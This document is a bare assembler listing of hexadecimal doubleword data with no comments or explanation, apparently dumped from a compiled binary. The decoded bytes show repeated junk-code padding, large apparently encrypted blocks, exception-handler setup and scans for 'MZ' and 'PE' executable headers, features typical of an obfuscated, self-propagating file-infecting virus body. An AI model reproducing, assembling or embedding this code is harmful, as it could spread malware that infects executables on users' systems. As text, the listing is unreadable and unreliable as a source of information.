		dd 705BD8Bh, 85FF0629h,	6292A15h, 0E9F9B70Fh, 844h, 0E8h
		dd 0ED815D00h, 62D23E9h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0B3C35646h, 32CC29EAh, 21C4A923h, 299529CAh
		dd 8106292Ch, 292841BDh, 7D006h, 52860F00h, 8B000001h
		dd 2925419Dh, 1895BE06h, 0E38132B8h, 100h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 14C35242h, 0FDB0BDEh
		dd 0A885h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 83642B7Ah, 2D222EBDh, 840F0006h
		dd 11h,	7058589h, 91E90629h, 89000000h,	2910F985h, 2E85C706h
		dd 1062D22h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 3E11C350h, 3E936DF1h
		dd 6628C903h, 0BD2BF28Bh, 6292B89h, 4FE9h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 958B60D5h, 62932C5h,	68B0Fh,	8D890000h, 6291BADh, 2E85C761h
		dd 62D22h, 0E8000000h, 0Dh, 89465A91h, 7CB59C1Dh, 56CE859h
		dd 5FF78B88h, 25419D8Dh, 6A0629h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0FE9849C3h, 795746E0h
		dd 491BD8Bh, 23810629h,	0FFFFFEFFh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 6BC35343h, 0E6822636h, 0DB8C66E3h
		dd 1421B50Bh, 0C3F60629h, 9E840F04h, 6A000000h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 32FEC352h, 0E8443D2Dh, 9, 0B6D8E904h, 53533774h, 95FF5EAFh
		dd 6290EA1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	94C35747h, 8B666084h, 0F08B66F9h, 5F539061h, 8E850h
		dd 1A650000h, 41DC909Bh, 6660B2E7h, 0BB1D0DBAh,	507533E9h
		dd 6A905F61h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0B8FEC356h, 830F5369h,	0
		dd 3ECE95Eh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0BF804AC3h, 0F90882E8h, 0B0F3B70Fh
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0A7A57FA2h, 9D89FB8Bh, 6290CADh,	7F95E781h
		dd 70E62FD8h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Dh,	75C35040h, 6BB49232h, 0C1CC46F7h, 68D0F80h, 1000000h
		dd 29294195h, 8171E406h, 9E712BCFh, 0D8B60F03h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 8C35646h, 5A1F5463h
		dd 0D8560184h, 11E9h, 96B03000h, 0FCC79F60h, 7203B922h
		dd 0FDA4C207h, 0B58927A0h, 6291051h, 68E0Fh, 0B5890000h
		dd 6293205h, 6BAh, 11E900h, 0AB890000h,	0B1A24753h, 1D20F540h
		dd 0AC89A76Dh, 8BB1621Fh, 57006AC3h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 6EC7F1B8h
		dd 0B589565Dh, 6292B7Dh, 78EF815Eh, 0C10414D2h,	6A04E8h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0FA706C3h, 682h, 51BD8900h, 8B062920h, 0E2F766F1h, 3085BD8Bh
		dd 0D82B0629h, 5E0CF81h, 5093154Ch, 0FFA8B52h, 5AF78B31h
		dd 52505058h, 0AA82BF66h, 6E8310Fh, 69000000h, 253EDDB1h
		dd 0DFBE668Eh, 585A5F90h, 0FFF88B93h, 292841B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 13181606h, 0FF959BE5h, 29059195h, 5880F06h, 66000000h
		dd 8A62DF81h, 0E458D01h, 0B00629h, 65FD9BBFh, 10E97Bh
		dd 423D0000h, 0A9B39A64h, 0A4F7A934h, 507CB6D0h, 70E6802Fh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0A4C35545h
		dd 66DDF248h, 71E4F28Bh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0E9C35242h, 6E36434Eh, 3ED472DEh, 0F613CF5h
		dd 1AD83h, 0C1B58B00h, 0F06292Ch, 6AD8B6h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 78C379C3h
		dd 71D1869Dh, 6BA1ACCh,	0BF000000h, 9F6FC96h, 8529C38Bh
		dd 6291B55h, 6604E8C1h,	6763DF81h, 6AE2F766h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 662EC357h, 607851D1h, 8BCEBF0Fh, 2926159Dh, 0D82B6106h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0B0C35242h
		dd 0BF581942h, 2EA27BD9h, 880FD82Bh, 10Ah, 204D8D29h, 7B90629h
		dd 89000000h, 2905659Dh, 0F18B6606h, 2900C183h,	291A958Dh
		dd 0FD93B06h, 0E586h, 0D98C6600h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0DFC35040h,	4A0D1525h, 2499F961h
		dd 4C1F6D3h, 94840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 621A92C3h, 0A4B3279Eh
		dd 0AE8B48Ch, 28000000h, 7A13F7AEh, 0B8483A24h,	0E3E0BE83h
		dd 0FF5F7C77h, 290EA195h, 0CD8D3106h, 5B062917h, 2AEE8166h
		dd 8BC32BC8h, 292559B5h, 8343D06h, 860F0000h, 36h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 37C35141h, 0D181B70Bh
		dd 67E84A7Ah, 0FFD6A8BFh, 28E96Fh, 9520000h, 290D8D95h
		dd 0C08B5F06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	56C35545h, 0C38B68CFh, 8B60D88Bh, 45B58BCBh, 6106292Eh
		dd 9F185C7h, 0CB3F0629h, 0B58B3176h, 6290F9Dh, 6830Fh
		dd 95890000h, 6291A7Dh,	6AC08Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 4997A7C3h, 0C301DBh
		dd 8B9386EFh, 29274DBDh, 41BD8106h, 0D0062928h,	0F000007h
		dd 4185h, 0C890F00h, 0F000000h,	688h, 8B0F00h, 0FF000000h
		dd 29284185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 88E06071h, 0A90FC3F6h, 2B65B58Bh
		dd 0B5FF0629h, 6292841h, 178B0Fh, 0E8600000h, 9, 0ACD916F9h
		dd 54BEECFh, 0BD895A3Dh, 6292585h, 9195FF61h, 6A062905h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 6C58C357h, 904A3755h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0FFC35141h,	0EDBD8B67h, 0F062925h
		dd 0C8Bh, 68C0F00h, 29000000h, 29277195h, 0CE906h, 71FD0000h
		dd 57CF8BA0h, 480798B8h, 6ACB7Fh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 8B362DC3h, 199589F8h
		dd 6A062901h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 5E8AC355h, 2630BFF9h, 890F46D0h
		dd 0Bh,	90E0DCBFh, 79BD8B25h, 6606290Ch, 0F38BFA8Bh, 14E9h
		dd 38343200h, 1779C69Dh, 5C7E3A8Ah, 2F18F2C5h, 3D8A00B8h
		dd 0DE94Bh, 1E350000h, 0B0A9C742h, 0D327FE49h, 0E901DC50h
		dd 0Dh,	0E0E4DE88h, 8A098FECh, 9C3717FCh, 0B9BD8BD7h, 6A06292Ch
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0DDFCC356h, 81656D9Bh, 62F8F2EEh,	0F7C2E95Dh
		dd 0BD8BFFFFh, 62906B9h, 0D9BF0F60h, 0FFFFFEB9h, 52006AFFh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 598D896Dh, 21062926h, 2913698Dh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 632BB765h
		dd 0B18D2189h, 0F8062930h, 29D5BD89h, 8D8B0629h, 6291369h
		dd 0C860Fh, 5E80000h, 4F000000h, 463C25D4h, 0E1835FF8h
		dd 6850F01h, 89000000h,	2916B9B5h, 0B18D8B06h, 6A062930h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 33D9C350h, 6BDA6740h, 4EFF4EADh, 0F8F08B66h
		dd 0F01E183h, 1385h, 0CE95300h,	3A000000h, 0EEDBE049h
		dd 0CA2FBADFh, 5FF4A8D9h, 6A6061h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 9DD6CFC3h, 5241B44h
		dd 0B58BE330h, 62915D1h, 0FFFFFEB9h, 51006AFFh,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 52E8AF11h
		dd 0B53D64BBh, 25418D21h, 890F0629h, 6,	34A5B589h, 8D210629h
		dd 62909D1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	7C35343h, 0C3386A99h, 0C5BD31A9h, 8B062925h, 2925418Dh
		dd 9E806h, 5BF10000h, 0AA0EA38h, 0F50EF58Eh, 10E9565Bh
		dd 96000000h, 2536D869h, 21A966F6h, 0A525EFB5h,	5A7B8D15h
		dd 0F01E183h, 685h, 5D953100h, 8B06292Dh, 2909D18Dh, 16880F06h
		dd 0E9000000h, 11h, 70144F50h, 804F7C63h, 0B7F6D4CAh, 9A328D82h
		dd 1E183B1h, 10850Fh, 53600000h, 27458529h, 8B5E0629h
		dd 2935158Dh, 60616106h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 14h, 38C35040h, 3059BD89h,	6E90629h, 73000000h
		dd 23D188F1h, 11E860D6h, 0F7000000h, 0B120B9C1h, 3EFA4476h
		dd 0ADAE3E24h, 210316D3h, 8B5F5B53h, 292B65B5h,	0FEB96106h
		dd 89FFFFFFh, 2905F985h, 498D2106h, 6A06292Ah, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 9F61C350h, 999523DEh, 0BF062906h, 7033BB6Fh,	0A498D21h
		dd 8F0F0629h, 6, 1245B501h, 8D8B0629h, 6292A49h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 8BC35242h, 0CDE64412h
		dd 58D70167h, 0DCE8035h, 0F01E183h, 2385h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 0AACED18Dh, 1E0ABF66h, 0A498D8Bh, 0D7800629h, 0D5B866E3h
		dd 1E18338h, 35850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0F48F21C3h, 4DAE1E69h
		dd 0BE9536Eh, 93000000h, 0C20CFC19h, 759392ABh,	615FAFA0h
		dd 26E9h, 0B77B0A00h, 1, 7 dup(0)
		dd 0E9000000h, 53Bh, 9A58ABB0h,	2115E47Ch, 69ED66C7h, 0ADA1528Fh
		dd 0FA78F54Bh, 3E12EAAh, 0D0AA4C8Eh, 9C7F995Dh,	65C12717h
		dd 0FBCA6EECh, 3FC03CBFh, 6588A57Ah, 11E960C4h,	5271D9BFh
		dd 0C4108DBFh, 127BFBC2h, 9169E446h, 248066B2h,	0A37BDDADh
		dd 5EFA5C2Ah, 6C49DBAFh, 59BF3294h, 0A3ED63BBh,	1D84E1B9h
		dd 3391E7B5h, 8660D25Bh, 4AACAE25h, 0CA8C7AF1h,	0D00DFD70h
		dd 0F778BE87h, 0E2806C44h, 61C55BB1h, 0CE0C8760h, 7509D1A7h
		dd 7BA81E93h, 8666C410h, 0FAFA260Fh, 8A07E55Ch,	0F0A9D73Ch
		dd 5226722Ah, 6C62E05Eh, 71B5A380h, 0DD73FFE1h,	7D3B7Ah
		dd 4B300000h, 0D67B245h, 183404D5h, 0B082EF12h,	1DF3D920h
		dd 327630B9h, 806C54C7h, 0DC56C84Eh, 7ADD8214h,	0D2Eh
		dd 9FBBE500h, 5E5D626Ch, 0E69E446h, 1CC4392Ah, 0B109F860h
		dd 0D9BF0B52h, 65ABF001h, 5C25DFFAh, 2E92E6C8h,	0A402F168h
		dd 0A21608AEh, 9CF80BD6h, 64F6223Eh, 7CF15760h,	411F9B30h
		dd 0CE341D66h, 806CED6Dh, 69EDCB54h, 512B2F8Fh,	0DA3157F9h
		dd 0E6C1B163h, 0C4D45F9Fh, 0B982EB66h, 6CEEFA7Dh, 5431E780h
		dd 0D1386BDFh, 895137FBh, 755B2A5Dh, 6D2C090h, 65C52CA7h
		dd 0DBEC3216h, 234A8805h, 197F8C55h, 5D4FE3BBh,	2B7B808Ch
		dd 0EC0A681h, 79DF24AFh, 75C513E0h, 532B8DC6h, 0D4AA6CDAh
		dd 41A7E59h, 79609022h,	8D9A7ADDh, 53000000h, 1FEB66C4h
		dd 9357DCB9h, 243DB71h,	0D4C421ACh, 0BE1EF991h,	0EC107337h
		dd 7A5E11D4h, 0CB4624C2h, 3BCA16E2h, 4030044Fh,	2E9E1F01h
		dd 62F2C069h, 5AA9B016h, 0DA512AECh, 5BD2AA6Ch,	66B89CEFh
		dd 73AB51D0h, 0DD3A11E3h, 5E297Ah, 0C4020000h, 361FEB66h
		dd 0A204F762h, 0D2B50B61h, 7C85E159h, 0A16AC2A4h, 0CFF7E292h
		dd 0ADE9321Dh, 806C5E4Ah, 6A88ECB7h, 0B03D93B4h, 0A314026Bh
		dd 0E806C5Dh, 5DA01307h, 609806Ch, 961DD93Fh, 0CC7454Bh
		dd 349B2E02h, 27D602E0h, 29CF2F43h, 0C654806Ch,	0AD0ED660h
		dd 1247ADDh, 1000000h, 1CEA61C4h, 9F6BE2BAh, 0EA2871A2h
		dd 806CEE89h, 2BC92F70h, 0D57BD2F3h, 6490F2B1h,	7FFFC695h
		dd 2C39EA16h, 0BFE9296Ah, 911AFF59h, 81104EB4h,	0C9B77A45h
		dd 0F927D7E0h, 8E8A245Eh, 0CEFD14B5h, 6EB79CE7h, 958CC728h
		dd 0B613286h, 8C05E1A7h, 1CA279A7h, 2B69E245h, 0AA8EB578h
		dd 0F4F054B2h, 0E42F9B16h, 6CC92D9Dh, 9F869553h, 0F14B2D76h
		dd 51598A7Ch, 869553DEh, 0DE7C58CBh, 169F7F48h,	0E36AC224h
		dd 0F245B19Ah, 0DF869553h, 3E9060B4h, 813D75Eh,	0DE9DA4Ch
		dd 0DF015684h, 8374B482h, 47FB7CBAh, 0BDE68695h, 11BEE5Fh
		dd 5CA50000h, 2CA0E32Ch, 67936681h, 86950814h, 4D4992FDh
		dd 869507EAh, 0E7684CD7h, 89D259C0h, 0DF138C87h, 30B3F102h
		dd 0F3D22636h, 45A1CF87h, 66F307Ah, 553DAB2h, 26845CB5h
		dd 0FEF4DABh, 0DAB25486h, 55BE9753h, 960ACE21h,	0C683B86h
		dd 0E347CEAEh, 596ABC98h, 91C674FDh, 74B3CB4Fh,	60EBh
		dd 0ED4B4000h, 6224820Fh, 5E3A0588h, 411B71FCh,	260F54D1h
		dd 0EF56D9DDh, 0D043806Ch, 72D38484h, 95FEB19Ch, 0EF5ED1D5h
		dd 5B33006Ch, 0DAB214D2h, 0B6AA9753h, 0E86EDA70h, 2C890936h
		dd 441AFEC7h, 45B6ECC9h, 0AC006CF0h, 0C29595E3h, 0EF319C72h
		dd 0D1DFB6A4h, 2C37284h, 5704504Bh, 59h, 0D259C0DCh, 0DFFD8D89h
		dd 0B1E27A45h, 3EB717C9h, 8B02DA3Ch, 0FB0AD6A2h, 924AB7B5h
		dd 0E43007A2h, 0A5581014h, 83D58696h, 5BD2AA9Bh, 1BA0799Bh
		dd 0AC0FE932h, 0A9D1D127h, 0E807379h, 0BE3A505h, 67F92482h
		dd 0AC1782BFh, 0A92B5347h, 838C86A0h, 0F17CDEBAh, 7EFEDA09h
		dd 0D259C0F5h, 0C2332F89h, 6DB69FF6h, 6CEEC629h, 14603380h
		dd 49C1EE14h, 0F84ED17Ah, 0FCF4626h, 22840DE9h,	244F57CEh
		dd 66F3680h, 346B9F10h,	33190A8Eh, 6EB7091Dh, 346BC728h
		dd 2361328Eh, 0D07D56AAh, 0B0166294h, 7F995DD4h, 0FE50169Fh
		dd 0ED4B9063h, 60268009h, 54BF0B86h, 1E5B2F0Dh,	3886335h
		dd 360F1735h, 761FDF56h, 0F941CCA2h, 0CE84EAAh,	3922585h
		dd 13000000h, 1FC4B43Fh, 0E0441AECh, 5C3F9169h,	0DBBD13D7h
		dd 583E9056h, 0DDB315D5h, 29309650h, 0D3AA6CDAh, 3028EE58h
		dd 573A79C1h, 0C781E789h, 4, 8704EF83h,	895C243Ch, 52682434h
		dd 89000043h, 89562414h, 4C681E6h, 81000000h, 4EEh, 24348700h
		dd 2404895Ch, 6FCB68h, 240C8900h, 78010FB9h, 58E18122h
		dd 0C154611Ah, 0D1F704E9h, 8CE98141h, 89F9CCD0h, 8B5459CAh
		dd 0C4832404h, 0D6895604h, 24348156h, 4BBB5E4Fh, 8108408Fh
		dd 5E4F0870h, 8B5E4BBBh, 89522404h, 4C281E2h, 83000000h
		dd 148704C2h, 34FF5C24h, 0C4815A24h, 4,	0FC48F7E9h, 88B17AFFh
		dd 0BC056811h, 0B8221411h, 62D3413h, 0E0FFC503h, 4302E47h
		dd 1EA5B719h, 4E359C78h, 113842E3h, 2BB5383Ah, 55129A3Dh
		dd 595E6BBBh, 21F8D359h, 37509ADh, 6803A484h, 17A10742h
		dd 12881AA5h, 235EC4CCh, 0F64736Eh, 44185794h, 10912653h
		dd 59014C1Eh, 4DE5C310h, 0FA97F16h, 144909B2h, 4ADF2C23h
		dd 79D2EB29h, 2AED9F8Bh, 31033CC6h, 37E904CFh, 65AE1E58h
		dd 2FA4BCFDh, 0C28B6660h, 0FFFFFEB9h, 52006AFFh, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 0FBCF7F2Ch, 0E6E65F68h, 798D21CFh, 8B062912h, 29265DBDh
		dd 0F18D2106h, 0F8062909h, 8D8B35B6h, 6291279h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 71C35141h, 414788D7h
		dd 4B1D9ED8h, 0F01E183h, 2385h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0BD8BA699h
		dd 6290549h, 9F18D8Bh, 9D8B0629h, 62927D9h, 0F01E183h
		dd 2285h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 66F0E22Fh, 611B34BEh, 30E9h, 30295300h
		dd 6Fh,	0Ah dup(0)
		dd 571E900h, 6DEA0000h,	9EBA5C9Eh, 0AC09EF6Fh, 8D13727h
		dd 3F9D7BFBh, 0F8D080B2h, 1AD8552Bh, 0A7971AFCh, 0E96DE641h
		dd 3426AF0Fh, 72C53190h, 5F7A3FB8h, 88D3DD46h, 6A47DB01h
		dd 0B773FA52h, 2C27755Ch, 8CE960C4h, 0B3464C9Ch, 9EBB838h
		dd 0D39391D7h, 8575433Dh, 72E06DC3h, 0C1B93094h, 4026AF0Fh
		dd 0C7A3528Eh, 4E77AF4Dh, 11F767EEh, 0F13FB6h, 6A457787h
		dd 43ABDFDh, 0FCA7806Ch, 0E447A195h, 464A9B6Fh,	5BBFF48h
		dd 44CFA878h, 7D46A1E2h, 6C15B639h, 24702380h, 3E4E446h
		dd 8AD53E88h, 0C75FC13Ch, 0A4961DFEh, 0CC2FC3CDh, 0CE90B892h
		dd 39B014EAh, 7CCD2D41h, 0F44A806Ch, 69CF8179h,	0BE5C02E4h
		dd 0FC1AD268h, 5948A82Ah, 9E7A7ADDh, 0D15A3D43h, 8DDBA2F6h
		dd 0F2000000h, 710A6DA9h, 1200806Ch, 806C70A1h,	44C90708h
		dd 6C70DD5Eh, 705BC480h, 0ED4B2B24h, 0D0B6820Fh, 38BBFF74h
		dd 0A1806CEFh, 654E97FEh, 0F4B23B93h, 0EF189B9Fh, 0CA51806Ch
		dd 7A077553h, 92E6A9A7h, 96FCA2Eh, 2036806Ch, 0CC6C74FEh
		dd 0BA1E7ADDh, 0BC096F9Eh, 0Eh,	0A3288D6Bh, 2DA601C7h
		dd 199476C2h, 1CC43033h, 9FBB1DEDh, 1BC6986Eh, 66F41EE8h
		dd 0AA5B87C0h, 7EDFC1A8h, 9EE9C9D1h, 0ED492F0Dh, 399FF664h
		dd 4F80D45Dh, 1FEB66C4h, 7BDDA1B9h, 88D330F6h, 0B76FED3Eh
		dd 58A5288Eh, 4FC4A177h, 0D6EA8FBh, 0F4806CEFh,	6F894DABh
		dd 0EEA0068Fh, 56BF840Fh, 6CEECF20h, 3693A80h, 16088CBFh
		dd 0DCE5649Ch, 0D79E7Ah, 0E3B50000h, 0CF39810Ah, 0BEBDC75Ah
		dd 7745ACDBh, 0EB66C4FCh, 57DCB91Fh, 43DB7193h,	0C421AC02h
		dd 0B6CAAF3h, 0F6806CEFh, 0EF0A6DADh, 21F7806Ch, 177CCA47h
		dd 56CE8CCh, 4CAFEB3Ch,	0B5806CEFh, 0EF4BACEAh,	0EFB6806Ch
		dd 6CEF48ABh, 87EEB180h, 0FEDA5731h, 7337BA18h,	41B5449Dh
		dd 806CEEEEh, 0E962C5DBh, 0DC3A78Eh, 875921AAh,	0CA41245Ah
		dd 7ACC177Ch, 40F6280Eh, 73031BA1h, 7ADCE581h, 59DAD821h
		dd 38806CE5h, 3E15D55Ch, 9219FC22h, 4094FFD4h, 57F5h, 66C47E00h
		dd 0DEB91FEBh, 5B339555h, 0DCB214D2h, 9F178DCh,	5137F3DAh
		dd 448F7B88h, 0AB1F0745h, 0E1BA1E67h, 0EEC92A68h, 6F30806Ch
		dd 0C123004h, 6AE8653Bh, 59D2B503h, 0C74C2FE1h,	0F3D92063h
		dd 0ED1CC470h, 0EE99191Dh, 0FC1A806Ch, 0E748A82Ah, 1E27ADCh
		dd 4B000000h, 1CEA61C4h, 9F6BE2BAh, 5F68BEA2h, 23C175FEh
		dd 4472E876h, 0EE7684DDh, 1A78BE87h, 0BD7A4517h, 0DAB214D2h
		dd 0A105E353h, 0DF5A5E28h, 10869516h, 1F60D84Eh, 9516981Bh
		dd 3A1E0186h, 0C5098064h, 730DD4ACh, 7E5515E6h,	24705317h
		dd 9B6FE646h, 0C235614Ah, 2F869516h, 0DAB21064h, 32F47FDEh
		dd 0CBADF6D1h, 0BD18FC71h, 0C5137036h, 0FC222675h, 78FA73CBh
		dd 0B4BFC52Fh, 1397D74h, 4BF60000h, 0B2860BEDh,	91FA41D8h
		dd 5B27886Fh, 0E632D034h, 76C38B8Fh, 7B247A45h,	0E66DC98Fh
		dd 95E03FB0h, 0ED74AA86h, 6EEC371Eh, 58A52C88h,	3EA61950h
		dd 0B6825E9Ch, 21A80CC2h, 4125F3C4h, 0E5157EC8h, 86952F92h
		dd 70C0147Fh, 0C8F92D2Bh, 38E686Ch, 85533A38h, 0F4DFAB20h
		dd 0A67173A0h, 428974B4h, 0A2000000h, 88D552C0h, 9C71C98Ah
		dd 0DBAFF0B1h, 141C868Ah, 275FCC7h, 0ED5DD0B6h,	0DD5E52A6h
		dd 0AC006C17h, 0C74B78AEh, 0EF301962h, 6C1848ABh, 8AEEB100h
		dd 9B9AC596h, 322EEC31h, 6D7AF8C3h, 93h, 0D259C0C2h, 72D0A089h
		dd 7CD80BFFh, 0C5C5139Eh, 7A45DF45h, 801C535Dh,	88CB6A0Fh
		dd 8560B6ACh, 6BB80Eh, 8D04E0A6h, 46CFAF49h, 0C1E48CE0h
		dd 0FF418696h, 37BE1E27h, 8D34E507h, 96C32689h,	0B9809386h
		dd 8F90265Ch, 0E1378073h, 0F23C8A07h, 0ECEE1DBDh, 200B5245h
		dd 0AD248046h, 7D405840h, 66388087h, 0ED73AE12h, 28318739h
		dd 0D0246FDBh, 3318A376h, 0A19D2FC7h, 585EA786h, 92F206D7h
		dd 9C6AE1BAh, 0A2F699B7h, 3682EBB4h, 256ED82Bh,	0C09C17D7h
		dd 8D89D259h, 7A49BBE5h, 4CC19B7Dh, 0D9A1F268h,	2C2EA707h
		dd 0FFB72CAh, 0A71229EBh, 52D462ADh, 0DE1C9571h, 15D55C38h
		dd 0B86643Ch, 0A20054BFh, 0B7E244B7h, 0E0447DA1h, 2CECE34Ch
		dd 230A90F8h, 1FFE5A33h, 9BF1D294h, 8BCD61C5h, 0C2671622h
		dd 0BB0CFAC5h, 8, 82563F08h, 9A55A32Ah,	1AEC1FC4h, 9169E044h
		dd 13D75C3Fh, 9056DBBDh, 15D5583Eh, 9650DDB3h, 6CDA2930h
		dd 0EE58D3AAh, 79C13028h, 0E789573Ah, 4C781h, 0EF830000h
		dd 243C8704h, 241C895Ch, 5EDB68h, 24048900h, 301668h, 242C8900h
		dd 3EFCBA52h, 0BE56535Ch, 462A00EEh, 33EAC681h,	0C6814627h
		dd 630046FCh, 0EEC1EED1h, 0DDF68105h, 1B16DB2h,	0D0895EF2h
		dd 3DA6685Ah, 24890000h, 24048124h, 4, 0BA52505Dh, 21954A12h
		dd 4245401h, 8458F5Ah, 12086D81h, 0FF21954Ah, 835D2434h
		dd 48B04C4h, 0E0895024h, 405h, 40500h, 4870000h, 9E95C24h
		dd 6DFFFC42h, 725AA548h, 7769AF18h, 0B8C15997h,	62D3B01h
		dd 0E0FFC503h, 0FD82C35h, 240F6ED6h, 354140BBh,	56006A60h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0C7FE6426h, 29284185h, 7D006h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 61E281F6h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 53C35242h
		dd 0FE9h, 44597000h, 0CC2C8927h, 9BF943C7h, 0BE0C1889h
		dd 0D85BD89h, 7EB0629h,	0E99D61h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0EBC1C356h, 0DD71F070h, 6860Fh, 958B0000h, 6292D95h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0C3C35545h
		dd 8C18D89h, 0C18B0629h, 75E9h,	8C666000h, 0F04A8D8h, 3584h
		dd 0FF016A00h, 292639B5h, 0D2858D06h, 0FF062C7Bh, 818589D0h
		dd 8B062905h, 0CEFC1FEh, 4000068h, 6A006A20h, 0D685702h
		dd 0FF000100h, 29058195h, 32E906h, 85C60000h, 6291B59h
		dd 30DF6856h, 0B5FFA9C5h, 6291A99h, 7BD2858Dh, 0D0FF062Ch
		dd 23B98589h, 858D0629h, 6291821h, 6A206A50h, 95FF5605h
		dd 62923B9h, 0E0C1C361h, 1000BA06h, 0EA81F00Eh,	0F0000000h
		dd 8914C283h, 290FC995h, 14EA8306h, 3DAF858Dh, 6450062Dh
		dd 35FFh, 89640000h, 25h, 0E800h, 2B580000h, 0F00025C2h
		dd 8166FFFFh, 0F5A4D38h, 1285h,	50B70F00h, 81D0033Ch, 45503Ah
		dd 0A840F00h, 2D000000h, 1000h,	0FFFFD9E9h, 89C88BFFh
		dd 29288185h, 3C400306h, 650B70Fh, 1B1D9589h, 508B0629h
		dd 8D958950h, 506290Eh,	0F8h, 30C508Bh,	9D9589D1h, 3062910h
		dd 95890850h, 6290DF5h,	58F64h,	83000000h, 13E904C4h, 51000000h
		dd 10244C8Bh, 0B0A981h,	10000000h, 33590000h, 0BD83C3C0h
		dd 6292631h, 24840F00h,	0C6000000h, 291B5985h, 0D2684706h
		dd 0FFD49AA7h, 291A99B5h, 0D2858D06h, 0FF062C7Bh, 0FF006AD0h
		dd 698589D0h, 8B06292Fh, 6A60D3h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 63BDA8C3h, 0AD96F7BBh
		dd 9589550Bh, 6290F11h,	8BF0B70Fh, 291A8D8Dh
		dd 89C08B06h, 29001585h, 9DBD8306h, 62930h, 0BD830975h
		dd 6290075h, 50197400h,	0B8C08B53h, 438h, 31058589h, 9D8D0629h
		dd 62BAAA2h, 585BD3FFh,	75BD83h, 74000629h, 0B8535017h
		dd 438h, 31058589h, 9D8D0629h, 62BA791h, 585BD3FFh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D6C35242h, 44E34262h
		dd 0BE661E91h, 8D034F96h, 6291FB1h, 0BE8h, 1C6F500h, 0A24BBD00h
		dd 11C73A4Dh, 5823E681h, 8B5F2FD9h, 0C78166C0h,	58E8C8F9h
		dd 66000009h, 4AC9D781h, 0FF58589h, 6A0629h, 3E853h, 5B200000h
